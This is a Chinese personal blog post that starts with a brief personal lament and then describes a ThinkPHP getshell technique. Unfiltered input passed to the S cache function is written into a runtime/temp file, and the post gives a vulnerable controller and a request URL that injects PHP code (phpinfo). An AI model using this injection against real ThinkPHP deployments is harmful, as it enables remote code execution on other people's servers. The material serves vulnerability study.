Sh4dow's Blog

活了二十几年,从来没有人给过我一次意外感动或惊喜,也没有人在我生日的时候给过我特别的礼物,生病的时候得到的只是一些不在身边的语言安慰,也不见谁真正的照顾过自己,甚至有的时候自己蒙头睡一觉就好了,也有人喜欢过我,但是从没见谁坚持过。

ThinkPHP runtime getshell

有一处cache   一处 temp


temp:


thinkphp中有个缓存函数S,在使用文件方式的缓存的时候,程序会有写出文件的操作。由于没做好过滤导致了代码执行。

 

<?php

namespace Home\Controller; 
use Think\Controller; 
 
class IndexController extends Controller { 
    public function index(){ 
    if (!S('aaaaa')) { 
    S('aaaaa',$_GET['w']); 
    echo 'cache ok'; 
    } 
 
    } 

?> 



判断缓存不存在则写出缓存文件。在使用文件缓存的时候,由于未对缓存文件设置访问权限。导致代码执行。

浏览器中访问

code 区域https://localhost:8888/thinkphp/Home/Index/index/?w=%0A;phpinfo%28%29;// 

缓存写出成功,然后访问应用目录下的runtime/temp目录,文件名为key的32位md5.



成功执行phpinfo. 这是5up3rc方法

-----

还一处cache  模板的。自己研究。

评论
热度 ( 1 )

© Sh4dow's Blog | Powered by LOFTER